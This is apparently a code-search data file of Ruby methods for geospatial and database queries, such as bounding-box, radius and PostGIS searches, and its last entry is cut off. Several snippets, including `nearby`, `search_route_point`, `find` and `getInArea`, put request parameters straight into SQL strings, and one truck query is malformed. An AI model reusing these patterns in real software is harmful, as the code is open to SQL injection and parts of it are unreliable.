"def query(params = {})\n scope = self\n viewer = params[:viewer].is_a?(User) ? params[:viewer].id : params[:viewer]\n\n place_ids = [ ]\n if params[:place_id].is_a?(Array)\n place_ids = params[:place_id]\n elsif params[:place_id].to_i > 0\n place_ids << params[:place_id]\n elsif !params[:place_id].blank? && p = Place.find(params[:place_id])\n place_ids << p.id\n end\n\n # support bounding box queries\n if (!params[:swlat].blank? && !params[:swlng].blank? &&\n !params[:nelat].blank? && !params[:nelng].blank?)\n scope = scope.in_bounding_box(params[:swlat], params[:swlng], params[:nelat], params[:nelng],\n :private => (viewer && viewer == params[:user_id]))\n elsif !params[:BBOX].blank?\n swlng, swlat, nelng, nelat = params[:BBOX].split(',')\n scope = scope.in_bounding_box(swlat, swlng, nelat, nelng)\n elsif params[:lat] && params[:lng]\n scope = scope.near_point(params[:lat], params[:lng], params[:radius])\n end\n\n # has (boolean) selectors\n if params[:has]\n params[:has] = params[:has].split(',') if params[:has].is_a? String\n params[:has].select{|s| %w(geo id_please photos sounds).include?(s)}.each do |prop|\n scope = case prop\n when 'geo' then scope.has_geo\n when 'id_please' then scope.has_id_please\n when 'photos' then scope.has_photos\n when 'sounds' then scope.has_sounds\n end\n end\n end\n if params[:identifications] && params[:identifications] != \"any\"\n scope = scope.identifications(params[:identifications])\n end\n scope = scope.has_iconic_taxa(params[:iconic_taxa_instances]) if params[:iconic_taxa_instances]\n scope = scope.order_by(\"#{params[:order_by]} #{params[:order]}\") if params[:order_by]\n\n quality_grades = params[:quality_grade].to_s.split(',')\n if (quality_grades & Observation::QUALITY_GRADES).size > 0\n scope = scope.has_quality_grade( params[:quality_grade] )\n end\n\n if taxon = params[:taxon]\n scope = scope.of(taxon.is_a?(Taxon) ? taxon : taxon.to_i)\n elsif !params[:taxon_id].blank?\n scope = scope.of(params[:taxon_id].to_i)\n elsif !params[:taxon_name].blank?\n scope = scope.of(Taxon.single_taxon_for_name(params[:taxon_name],\n iconic_taxa: params[:iconic_taxa_instances]))\n elsif !params[:taxon_ids].blank?\n taxon_ids = params[:taxon_ids].map(&:to_i)\n if params[:taxon_ids].size == 1\n scope = scope.of(taxon_ids.first)\n else\n taxa = Taxon::ICONIC_TAXA.select{|t| taxon_ids.include?(t.id) }\n if taxa.size == taxon_ids.size\n scope = scope.has_iconic_taxa(taxon_ids)\n end\n end\n end\n if params[:on]\n scope = scope.on(params[:on])\n elsif params[:year] || params[:month] || params[:day]\n date_pieces = [params[:year], params[:month], params[:day]]\n unless date_pieces.map{|d| d.blank? ? nil : d}.compact.blank?\n scope = scope.on(date_pieces.join('-'))\n end\n end\n scope = scope.by(params[:user_id]) if params[:user_id]\n scope = scope.in_projects(params[:projects]) if params[:projects]\n scope = scope.in_places(place_ids) unless place_ids.empty?\n scope = scope.created_on(params[:created_on]) if params[:created_on]\n scope = scope.in_range if params[:out_of_range] == 'false'\n scope = scope.license(params[:license]) unless params[:license].blank?\n scope = scope.photo_license(params[:photo_license]) unless params[:photo_license].blank?\n scope = scope.where(:captive => true) if params[:captive].yesish?\n if params[:mappable].yesish?\n scope = scope.where(:mappable => true)\n elsif params[:mappable] && params[:mappable].noish?\n scope = scope.where(:mappable => false)\n end\n if [false, 'false', 'f', 'no', 'n', 0, '0'].include?(params[:captive])\n scope = scope.where(\"observations.captive = ? OR observations.captive IS NULL\", false)\n end\n unless params[:ofv_params].blank?\n params[:ofv_params].each do |k,v|\n scope = scope.has_observation_field(v[:observation_field], v[:value])\n end\n end\n\n # TODO change this to use the Site model\n if !params[:site].blank? && params[:site] != 'any'\n uri = params[:site]\n uri = \"http://#{uri}\" unless uri =~ /^http\\:\\/\\//\n scope = scope.where(\"observations.uri LIKE ?\", \"#{uri}%\")\n end\n\n if !params[:site_id].blank? && site = Site.find_by_id(params[:site_id])\n scope = scope.where(\"observations.site_id = ?\", site)\n end\n\n if !params[:h1].blank? && !params[:h2].blank?\n scope = scope.between_hours(params[:h1], params[:h2])\n end\n\n if !params[:m1].blank? && !params[:m2].blank?\n scope = scope.between_months(params[:m1], params[:m2])\n end\n\n if !params[:d1].blank? && !params[:d2].blank?\n scope = scope.between_dates(params[:d1], params[:d2])\n end\n\n unless params[:week].blank?\n scope = scope.week(params[:week])\n end\n\n if !params[:cs].blank?\n scope = scope.joins(:taxon => :conservation_statuses).where(\"conservation_statuses.status IN (?)\", [params[:cs]].flatten)\n scope = if place_ids.empty?\n scope.where(\"conservation_statuses.place_id IS NULL\")\n else\n scope.where(\"conservation_statuses.place_id IN (?) OR conservation_statuses.place_id IS NULL\", place_ids.join(\",\"))\n end\n end\n\n if !params[:csi].blank?\n iucn_equivs = [params[:csi]].flatten.map{|v| Taxon::IUCN_CODE_VALUES[v.upcase]}.compact.uniq\n scope = scope.joins(:taxon => :conservation_statuses).where(\"conservation_statuses.iucn IN (?)\", iucn_equivs)\n scope = if place_ids.empty?\n scope.where(\"conservation_statuses.place_id IS NULL\")\n else\n scope.where(\"conservation_statuses.place_id IN (?) OR conservation_statuses.place_id IS NULL\", place_ids.join(\",\"))\n end\n end\n\n if !params[:csa].blank?\n scope = scope.joins(:taxon => :conservation_statuses).where(\"conservation_statuses.authority = ?\", params[:csa])\n scope = if place_ids.empty?\n scope.where(\"conservation_statuses.place_id IS NULL\")\n else\n scope.where(\"conservation_statuses.place_id IN (?) OR conservation_statuses.place_id IS NULL\", place_ids.join(\",\"))\n end\n end\n\n establishment_means = params[:establishment_means] || params[:em]\n if !place_ids.empty? && !establishment_means.blank?\n scope = scope.\n joins(\"JOIN listed_taxa ON listed_taxa.taxon_id = observations.taxon_id\").\n where(\"listed_taxa.place_id IN (?)\", place_ids.join(\",\"))\n scope = case establishment_means\n when ListedTaxon::NATIVE\n scope.where(\"listed_taxa.establishment_means IN (?)\", ListedTaxon::NATIVE_EQUIVALENTS)\n when ListedTaxon::INTRODUCED\n scope.where(\"listed_taxa.establishment_means IN (?)\", ListedTaxon::INTRODUCED_EQUIVALENTS)\n else\n scope.where(\"listed_taxa.establishment_means = ?\", establishment_means)\n end\n end\n\n if !params[:pcid].nil? && params[:pcid] != \"any\"\n scope = if params[:pcid].yesish?\n scope.joins(:project_observations).where(\"project_observations.curator_identification_id IS NOT NULL\")\n else\n scope.joins(:project_observations).where(\"project_observations.curator_identification_id IS NULL\")\n end\n end\n\n unless params[:geoprivacy].blank?\n scope = case params[:geoprivacy]\n when \"any\"\n # do nothing\n when OPEN\n scope.where(\"geoprivacy IS NULL\")\n when \"obscured_private\"\n scope.where(\"geoprivacy IN (?)\", Observation::GEOPRIVACIES)\n else\n scope.where(:geoprivacy => params[:geoprivacy])\n end\n end\n\n rank = params[:rank].to_s.downcase\n if Taxon::VISIBLE_RANKS.include?(rank)\n scope = scope.joins(:taxon).where(\"taxa.rank = ?\", rank)\n end\n\n high_rank = params[:hrank]\n if Taxon::VISIBLE_RANKS.include?(high_rank)\n rank_level = Taxon::RANK_LEVELS[high_rank]\n scope = scope.joins(:taxon).where(\"taxa.rank_level <= ?\", rank_level)\n end\n\n low_rank = params[:lrank]\n if Taxon::VISIBLE_RANKS.include?(low_rank)\n rank_level = Taxon::RANK_LEVELS[low_rank]\n scope = scope.joins(:taxon).where(\"taxa.rank_level >= ?\", rank_level)\n end\n\n unless params[:updated_since].blank?\n if params[:updated_since].is_a?( String )\n params[:updated_since] = params[:updated_since].gsub( /\\s(\\d+\\:\\d+)$/, \"+\\\\1\" )\n end\n if timestamp = Chronic.parse(params[:updated_since])\n if params[:aggregation_user_ids].blank?\n scope = scope.where(\"observations.updated_at > ?\", timestamp)\n else\n scope = scope.where(\"observations.updated_at > ? OR observations.user_id IN (?)\",\n timestamp, params[:aggregation_user_ids])\n end\n else\n scope = scope.where(\"1 = 2\")\n end\n end\n\n unless params[:q].blank?\n scope = scope.dbsearch(params[:q])\n end\n\n if list = List.find_by_id(params[:list_id])\n if list.listed_taxa.count <= LIST_FILTER_SIZE_CAP\n scope = scope.joins(\"JOIN listed_taxa ON listed_taxa.taxon_id = observations.taxon_id\").\n where(\"listed_taxa.list_id = #{list.id}\")\n end\n end\n\n if params[:identified].yesish?\n scope = scope.has_taxon\n elsif params[:identified].noish?\n scope = scope.where(\"taxon_id IS NULL\")\n end\n\n if viewer\n if params[:reviewed] === \"true\"\n scope = scope.reviewed_by(viewer)\n elsif params[:reviewed] === \"false\"\n scope = scope.not_reviewed_by(viewer)\n end\n end\n\n scope = scope.not_flagged_as_spam if params[:filter_spam]\n scope = scope.where(\"observations.id >= ?\", params[:min_id]) unless params[:min_id].blank?\n # return the scope, we can use this for will_paginate calls like:\n # Observation.query(params).paginate()\n scope\n end",
"def getEntitySearchWhatByboundingbox( what, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['what'] = what\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/what/byboundingbox\",params)\n end",
"def getEntitySearchWhoByboundingbox( who, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['who'] = who\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/who/byboundingbox\",params)\n end",
"def nearby\n\n #select * from ( select * from Location\n # WHERE Longitude > @lngA-(@dist/(cos( radians(@latA+(@dist/68.703)))*69.172))\n # AND Longitude < @lngA+(@dist/(cos( radians(@latA+(@dist/68.703)))*69.172))\n # AND Latitude > @latA-(@dist/68.703)\n # AND Latitude < @latA+(@dist/68.703) ) AS `tmp` WHERE GEODISTANCE(@latA,@lngA ,Latitude,Longitude) < @dist\n\n #Calculate a bounding box we can use to quickly find nearby trucks\n lat = params[:lat].to_f\n lng = params[:lng].to_f\n dist = params[:radius].to_f\n latDelta = dist/68.703\n\n value = lat+(latDelta);\n rad = value/180 * Math::PI #Geocoder::Calculations.to_radians(value) #value.to_ra radians(value);\n\n lngDelta = dist/(Math.cos( rad)*69.172)\n minLng = lng-lngDelta\n maxLng = lng+lngDelta\n minLat = lat-latDelta\n maxLat = lat+latDelta\n\n\n #IFNULL( SQRT(((difX)(difX))+((difY)(difY))), 99999)\n trucks = Truck.find_by_sql \"SELECT trucks.* WHERE SQRT(((trucks.lng-#{lng})(trucks.lng-#{lng}))+((trucks.lat-#{lat})(trucks.lat-#{lat}))) < #{dist}\"\n\n render :json => trucks\n end",
"def build_query\n query = PhoneNumberGeolocation::Location.where(\n phone_numbers: { '$in' => customer_numbers }\n )\n query = query.of_country(@country) if same_country\n query\n end",
"def getEntitySearchByboundingbox( latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/byboundingbox\",params)\n end",
"def prepare_query\n if @taxon_concept\n inner_query = EOL::Sparql::SearchQueryBuilder.build_query_with_taxon_filter(@taxon_concept.id, inner_select_clause, where_clause, inner_order_clause)\n else\n inner_query = EOL::Sparql::SearchQueryBuilder.build_query(inner_select_clause, where_clause, inner_order_clause, nil)\n end\n # this is strange, but in order to properly do sorts, limits, and offsets there should be a subquery\n # see http://virtuoso.openlinksw.com/dataspace/doc/dav/wiki/Main/VirtTipsAndTricksHowToHandleBandwidthLimitExceed\n EOL::Sparql::SearchQueryBuilder.build_query(outer_select_clause, inner_query, outer_order_clause, limit_clause)\n end",
"def points_query\n # request.path => \"/points/123,-74.006605,40.714623\"\n query = request.path.split(\"/\").last.split(\";\")\n points = query.inject([]) do |r, _|\n id, lon, lat = _.split(\",\")\n r << {:id => id, :lon => lon, :lat => lat}\n end\n\n tolerance = params[:tolerance].to_f if params[:tolerance].present?\n\n lon_lats = points.map{|point| [point[:lon], point[:lat]] }\n areas = Area.polygon_contains_points(points, tolerance)\n points_in_area = []\n areas.each do |area|\n points = area.filter_including_points(points)\n area_as_json = {\n :layer_id => area.layer_id,\n :area_id => area.id,\n :points => points,\n :pointsWithinCount => points.count\n }\n points_in_area << area_as_json\n end\n\n if params['idsonly'] && params['idsonly'] == 'true'\n points_in_area.each { |p| p.delete(:points) }\n end\n\n result = {\n :points_in_area => points_in_area\n }\n\n # points_in_area = (\n # {id => id, layer_id => layer_id, area_id => area_id, points => ( {id => id, x =>x, y =>y}, {id => id, x =>x, y =>y}, ...)},\n # {id => id, layer_id => layer_id, area_id => area_id, points => ( {id => id, x =>x, y =>y}, {id => id, x =>x, y =>y}, ...)}\n # )\n render :json => result\n end",
"def execute\n begin\n GeographicDatabase.connection.execute to_sql\n rescue StandardError => e\n Rails.logger.error \"Error running UnderlyingGeometryQuery: #{e.message}\"\n end\n end",
"def build_query(params)\n query = UserInteraction.includes(:user, :interaction, :answer)\n fields = get_fields()\n params.each do |filter|\n field_id = filter['field'].to_sym\n operator = filter['operand']\n operand = filter['value']\n if operator == FILTER_OPERATOR_CONTAINS\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), \"%\"+operand.to_s+\"%\" )\n else\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), operand )\n end\n end\n return query \n end",
"def get_offices(lon, lat, distance)\n \n # divide distance in km by Radian of the earth in km (6371km)\n # this will speed up queries because we can calculate the min and max lon and lats with this data\n # now we don't have to perform the big formula bellow on all rows of the database but only on\n # the rows that are within the range of min and max lon and lat\n\n r = distance/6371\n\n latmin = lat - r \n latmax = lat + r\n\n # here it gets a little more complicated, but calculating longitudes min and max the same way we did latitude\n # is incorrect because distance gets shorter the further north or south you go from the equator\n # so the next formula was taken from a math book to get the correct min/max long distance\n\n latT = Math.asin(Math.sin(lat)/Math.cos(r))\n\n # @longT = Math.acos( ( Math.cos(r) - Math.sin(latT) * Math.sin(lat) ) / ( Math.cos(latT) * Math.cos(lat) ) )\n # formula above is long form of formula bellow\n\n lonT = Math.asin(Math.sin(r)/Math.cos(lat))\n\n lonmin = lon - lonT\n lonmax = lon + lonT\n\n ## First attempt at creating query, but this query doesn't use index of the table so if we had a large dataset, searches would be slow\n #\n # sql = \"select * from (\n # SELECT *,( 3959 * acos( cos( radians(#{lat}) ) * cos( radians( lat ) ) * cos( radians( lon ) - radians(#{lon}) ) + sin( radians(#{lat}) # ) * sin( radians( lat ) ) ) ) AS distance \n # FROM offices\n # ) al\n # where distance < #{params['distance']}\n # ORDER BY distance;\"\n\n # This query uses indexes of the table and speeds up searches\n sql = \"select * from (\n SELECT *,( lat >= #{latmin} AND lat <= #{latmax}) AND (lon >= #{lonmin} AND lon <= #{lonmax}),\n ( 3959 * acos( cos( radians(#{lat}) ) * cos( radians( lat ) ) * cos( radians( lon ) - radians(#{lon}) ) + sin( radians(#{lat}) ) * sin( radians( lat ) ) ) ) AS distance\n FROM offices\n ) al\n where distance < #{distance/1.609344}\n ORDER BY distance;\"\n \n ActiveRecord::Base.connection.execute(sql)\n\n # I tested this method with Postgis/rgeo method and they both return almost identical values\n end",
"def search_route_point\n (lat, lon) = params[:point].split(\",\")\n radius = params[:radius]\n\n results = Route.select(\"distinct name_route, cod_route\")\n .where(\"ST_DWithin('POINT(#{lat} #{lon})', path, ?)\", \"#{radius}\")\n render json: results\n end",
"def find_nearby\n locations = read_locations_from FILE\n locations.select_within_radius 100 \n locations.sort.filter_fields\n end",
"def prepare_query\n if @taxon_concept && TaxonData.is_clade_searchable?(@taxon_concept)\n inner_query = EOL::Sparql::SearchQueryBuilder.build_query_with_taxon_filter(@taxon_concept.id, inner_select_clause, where_clause, order_clause)\n else\n inner_query = EOL::Sparql::SearchQueryBuilder.build_query(inner_select_clause, where_clause, order_clause, nil)\n end\n # this is strange, but in order to properly do sorts, limits, and offsets there should be a subquery\n # see http://virtuoso.openlinksw.com/dataspace/doc/dav/wiki/Main/VirtTipsAndTricksHowToHandleBandwidthLimitExceed\n EOL::Sparql::SearchQueryBuilder.build_query(outer_select_clause, inner_query, nil, limit_clause)\n end",
"def query; end",
"def place_conditions \n @radius = @radius.blank? ? 10 : @radius\n origin = GeoKit::Geocoders::MultiGeocoder.geocode(\"#{@place}, Deutschland\")\n distance_sql = Address.distance_sql(origin)\n @conditions.add_condition [\"#{distance_sql} < ?\", @radius]\n end",
"def observations_at_where # :nologin: :norobots:\n where = params[:where].to_s\n params[:location] = where\n query = create_query(:Observation, :at_where,\n user_where: where,\n location: Location.user_name(@user, where))\n show_selected_observations(query, always_index: 1)\n end",
"def search_query(juris, place_type)\n rs = @db[:voting_places] \\\n .select_append(:voting_places__id.as(:place_id)) \\\n \\\n .join(:voting_locations, :id => :location_id) \\\n .select_append(:voting_locations__formatted.as(:location_formatted)) \\\n .select_append{ST_X(:voting_locations__geometry).as(:longitude)} \\\n .select_append{ST_Y(:voting_locations__geometry).as(:latitude)} \\\n \\\n .join(:voting_schedules, :id => :voting_places__schedule_id) \\\n .select_append(:voting_schedules__formatted.as(:schedule_formatted)) \\\n \\\n .filter(:voting_places__jurisdiction => juris.id.to_s) \\\n .filter(:voting_places__place_type => place_type)\n\n if @origin\n o = @origin\n md = @max_distance\n rs = rs \\\n .select_append{ST_Distance(geometry, MakePoint(o.lng, o.lat, SRID_LATLNG)).as(:dist)} \\\n .filter{dist <= md} \\\n .order(:dist.asc) \\\n end\n\n rs\n end",
"def places_nearby_without_photos radius=15\n Place.find_by_radius(centerLatitude,centerLongitude,radius).where(\"places.id != ?\", id).where(\"places.name_status != 'unnamed' and places.id not in (select distinct photos.place_id from photos where photos.place_id is not null) and places.id not in (select distinct place_id from place_photos)\").order(\"places.type != 'Mountain', power(places.latitude - #{centerLatitude.to_f},2)+power(places.longitude - #{centerLongitude.to_f},2)\")\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def get_matches_with_coordinates(spatial_term)\n Item.connection.select_all(\"\n SELECT DISTINCT * FROM (\n SELECT unnest(dcterms_spatial) spatial FROM items\n ) s WHERE spatial LIKE $$#{spatial_term}%, %.%, %.%$$;\n \")\n end",
"def search_within(keywords, options = {})\n bounds = options[:bounds] || nil\n keywords = '*:*' if keywords.blank?\n \n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:qt => 'full', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => nil, :where => nil, :query => (keywords == '*:*' && '' || keywords) }\n end",
"def places_nearby_without_title_photos radius=15\n Place.find_by_radius(centerLatitude,centerLongitude,radius).where(\"places.id != ?\", id).where(\"places.name_status != 'unnamed' and places.id not in (select distinct photos.place_id from photos where photos.place_id is not null)\").order(\"places.type != 'Mountain', power(places.latitude - #{centerLatitude.to_f},2)+power(places.longitude - #{centerLongitude.to_f},2)\")\n end",
"def search_with_geography(keywords, options = {})\n unless keywords.blank?\n # For backwards compatibility\n options[:count] ||= options[:rows] || 10\n \n parameters = {\n :start => options[:start] && options[:start].to_i || 0,\n :rows => options[:count] && options[:count].to_i > 0 && options[:count].to_i < 100 && options[:count].to_i || 10\n }\n \n parameters[:fq] = bounds_query(options[:bounds]) if options[:bounds].present?\n \n places = []\n facets = []\n \n results = PublicEarth::Db::Place.search_for keywords, parameters\n places = results.models\n \n # Tack on a possible map location, such as a city or country? Maybe the user was searching\n # to move the map, not look for places?\n where = nil\n unless options[:e]\n where = PublicEarth::Db::Where.am_i?(keywords, options[:bounds])\n where = nil if where.score.nil?\n end\n \n # A bold substitute for a rules engine! (There is a paper flowchart of this somewhere...)\n if options[:bounds]\n if places.blank?\n if where.present? \n [:reposition, where, nil, nil]\n else\n [:display, nil, nil, nil]\n end\n else\n if where.present?\n if where.score > 3.0\n [:prompt, where, results]\n else\n [:display, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n else\n if places.blank? && where.blank?\n [:display, nil, nil]\n else\n if where.present?\n if where.score > 0.4 && !options[:recursed]\n if where.score > 2.0\n k = keywords.downcase\n # Temporary stop terms...FIX!!!\n (\"in for from near by where around over under \" + where.name.downcase).split(/\\s+/).each do |word|\n k.gsub! /\\b#{word}\\b/, ''\n end\n options.merge!({ :bounds => where.bounds, :recursed => true })\n \n again = search_with_geography(k, options)\n if again[2].blank?\n [:reposition, where, nil, nil]\n else\n [:display, where, again.last]\n end\n else\n [:prompt, where, results]\n end\n else\n [:suggest, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n end\n else\n [:display, nil, nil, nil]\n end\n end",
"def base_query(include_distance: true)\n whitelisted_base_query\n .close_to(coordinates, radius: radius, include_distance: include_distance)\n .that_provide(subjects)\n .at_phases(phases)\n .costing_upto(max_fee)\n .enabled\n .with_availability\n .distinct\n .includes([:available_placement_dates])\n end",
"def partial_search(query, options = {})\n bounds = options[:bounds] || nil\n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}name:#{query}*\", options.merge(:qt => 'standard', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(\"name:#{query}*\", options.merge(:qt => 'standard', \n :results => Atlas::Extensions::Place::PlaceResults))\n end\n results\n end",
"def search_radius\n exact_location ? 100 : 50_000\n end",
"def hit_mongo_nodes(dataset = 'haiti', limit = 100, bbox = nil )\n\t\tthis_bbox = instance_eval(\"@@#{bbox}\")\n\t\tcoll = @osm_data.connect_to_mongo(dataset=dataset, coll='nodes')\n\t\tcoll.find(\n\t\t\t\tselector = {'properties.version'=>1,\n\t\t\t\t\t\t\t'geometry' => {'$geoWithin' =>\n\t\t\t\t\t\t\t\t\t\t\t\t{'$geometry'=>{'type'=>'Polygon',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'coordinates'=> this_bbox}}},\n\t\t\t\t\t\t\t'date'=> {\"$gt\" => @osm_data.times[dataset.to_sym][:event], \"$lt\"=> @osm_data.times[dataset.to_sym][:one_week_after]}\n\t\t\t\t\t\t },\n\t\t\t\topts = {:limit=>limit})\n\tend",
"def observations_at_where\n where = params[:where].to_s\n params[:location] = where\n query = create_query(:Observation, :at_where,\n user_where: where,\n location: Location.user_name(@user, where))\n show_selected_observations(query, always_index: 1)\n end",
"def index # returns all bikes within a certain radius\n ## TODO: use coordinates later, when more campuses and bikes.\n # # defaults radius to half mile, and coordinate to requesting ip address\n # radius = params[:radius] ? params[:radius] : 0.5\n # coordinates = params[:coordinates] ? params[:coordinates] : request.location\n # puts coordinates\n # @bikes = Coordinate.near(coordinates, radius).joins(:bikes)\n @bikes = Bike.available\n render json: @bikes\n end",
"def intersecting_radius_of_wkt_sql(wkt, distance)\n \"ST_DWithin((#{GeographicItem::GEOGRAPHY_SQL}), ST_Transform( ST_GeomFromText('#{wkt}', \" \\\n \"4326), 4326), #{distance})\"\n end",
"def scope_with_scrooge?( sql )\n sql =~ scrooge_select_regex && \n columns_hash.has_key?(self.primary_key.to_s) &&\n sql !~ ScroogeRegexJoin\n end",
"def query(query_definition)\n return\n end",
"def nearby_bike_parking(string, dist)\n area = process_coords(area)\n querry = \"$where=within_circle(geom, #{area[1]}, #{area[0]}, #{dist})\"\n bike_grabber(querry)\n end",
"def find\n x = params[:x]\n y = params[:y]\n # distance =params[:distance]\n #{distance}\n data = Wzx.where(\"pt<->point'(#{x},#{y})'<5\").order(\"pt<->point'(#{x},#{y})'\").first\n # data1 =(id: data_id)\n render json:data\n \nend",
"def apply_filter(query)\n query\n end",
"def apply_filter(query)\n query\n end",
"def query\n end",
"def match_query(query); end",
"def getInArea\n max=params[:max]||100\n\tlimit=params[:limit]||200\n\tif params[:mcc] then mcc=\" mcc=\"+params[:mcc]+\" AND \" else mcc=\"\" end\n\tif params[:mnc] then mnc=\" mnc=\"+params[:mnc]+\" AND \" else mnc=\"\" end\n if params[:BBOX]\n bbox=params[:BBOX].split(',')\n r=Rect.new bbox[0].to_f,bbox[1].to_f,bbox[2].to_f,bbox[3].to_f\n else\n r=Rect.new -180.to_f,-90.to_f,180.to_f,90.to_f\n end\n @cells=Cell.find_by_sql(\"SELECT * from cells where \"+mcc+mnc+\" lat>=\"+r.minLat.to_s+\" and lat<=\"+r.maxLat.to_s+\" and lon>=\"+r.minLon.to_s+\" and lon<=\"+r.maxLon.to_s+\" LIMIT \"+limit.to_s)\n if params[:fmt]==\"xml\"\n render(:action=>\"listXml\",:layout=>false)\n elsif params[:fmt]==\"txt\"\n\t\theaders['Content-Type'] = \"text/plain\" \n render(:action=>\"listCsv\",:layout=>false)\n else\n render(:action=>\"listKml\",:layout=>false)\n end\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def search_with_coordinates(term, latitude, longitude, options={})\n search_businesses(term, options.merge(:ll=>\"#{latitude},#{longitude}\"))\n end",
"def inComuna(lng,lat,comuna)\n ubicacion(lng,lat)\n sql = \"SELECT st_within((SELECT ST_SetSRID(ST_MakePoint(#{lng},#{lat}),4326)),(SELECT ST_GeomFromText(st_astext(area),4326) FROM comunas where id = #{comuna.id}));\"\n inside = ActiveRecord::Base.connection.execute(sql).first()['st_within']\n\n if inside\n return true\n else\n return false\n end\n end",
"def test_query()\n shape_ds = Gdal::Ogr.open( '../../ogr/data/testpoly.shp' )\n shape_lyr = shape_ds.get_layer(0)\n\n shape_lyr.set_spatial_filter_rect(-400, 22, -120, 400 )\n assert(check_features_against_list( shape_lyr, 'FID',\n [ 0, 4, 8 ] ))\n end",
"def points(bounding_box)\n top, left, bottom, right = bounding_box.coords\n @table.where(:lng => (left..right), :lat => (bottom..top)).all.\n map { |row| MapKit::Point.new(row[:lat], row[:lng]) }\n end",
"def apply_filters(query)\n query\n end",
"def find\n set_user_and_user_areas\n @areas = Area.find_all_by_geom([[params[:min_y], params[:min_x]], \n [params[:max_y], params[:max_x]]])\n @map = Variable.new(\"map\")\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def search(query); end",
"def execute_query(query)\n dimension_names = query.all_dimensions? ? [] :\n query.referenced_dimensions.dup.\n concat(Wonkavision::Analytics.context.global_filters.\n select{ |f| f.dimension?}.map{ |dim_filter| dim_filter.name }).uniq.\n sort{ |a,b| a.to_s <=> b.to_s }\n\n filters = (query.filters + Wonkavision::Analytics.context.global_filters).compact.uniq\n\n fetch_tuples(dimension_names, filters)\n end",
"def all(query); end",
"def run_eth_query(heading,filter)\n filter = '1=1' if filter.blank?\n query = Query.find_by_sql([\n \"select IsNull(el1.id,9),el1.description ethnicity, '#{heading}' heading, count(c.id) count\\n\"+\n \"from claims c\\n\"+\n \" left join claims_data d on d.id = c.id\\n\"+\n \" left join patients p on p.id = c.patient_id\\n\"+\n \" left join ethnicities eth on eth.id = p.ethnicity_id \\n\"+\n \" left join level1_ethnicities el1 on el1.id = eth.level1_ethnicity_id\\n\"+\n \"where c.date_service >= ? and c.date_service <= ? \\n\"+\n \" and c.programme_id = ?\\n\"+\n \" and c.claim_status_id <= 6\\n\"+\n \" and #{filter}\\n\"+\n \"group by IsNull(el1.id,9),el1.description\\n\"+\n \"order by 1\\n\",\n @criteria.start_date, @criteria.end_date, @criteria.programme_id])\n query\n end",
"def containing(place_id, start = 0, limit = 25)\n place_id = clean_for_search(as_id(place_id))\n results = PublicEarth::Db::Collection.search_for(\"place_id:#{place_id}\", :qt => 'standard', \n :start => start && start.to_i, :rows => limit && limit.to_i > 0 && limit.to_i || 25)\n results.models\n end",
"def run_cvdr_query(heading,filter)\n filter = '1=1' if filter.blank?\n query = Query.find_by_sql([\n \"select dbo.ethnicity_cvdr(p.ethnicity_id) ethnicity, '#{heading}' heading, count(c.id) count\\n\"+\n \"from claims c\\n\"+\n \" left join claims_data d on d.id = c.id\\n\"+\n \" left join patients p on p.id = c.patient_id\\n\"+\n \"where c.date_service >= ? and c.date_service <= ? \\n\"+\n \" and c.programme_id = ?\\n\"+\n \" and c.claim_status_id <= 6\\n\"+\n \" and d.cvdr_cvd_risk > 0\\n\"+\n \" and #{filter}\\n\"+\n # Exclude if a more recient \"accepted\" claim exists for the patient !!\n \" and not exists ( select 1 \\n\"+\n \" from claims xc \\n\"+\n \" left join claims_data xd on xd.id = xc.id\\n\"+\n \" where xc.patient_id = c.patient_id\\n\"+\n \" and xc.date_service > c.date_service and xc.date_service <= ?\\n\"+\n \" and xc.claim_status_id <= 6\\n\"+\n \" and xc.programme_id = ?\\n\"+\n \" and xd.cvdr_cvd_risk > 0 ) \\n\"+\n \"group by dbo.ethnicity_cvdr(p.ethnicity_id)\\n\"+\n \"order by 1\\n\",\n @criteria.start_date, @criteria.end_date, 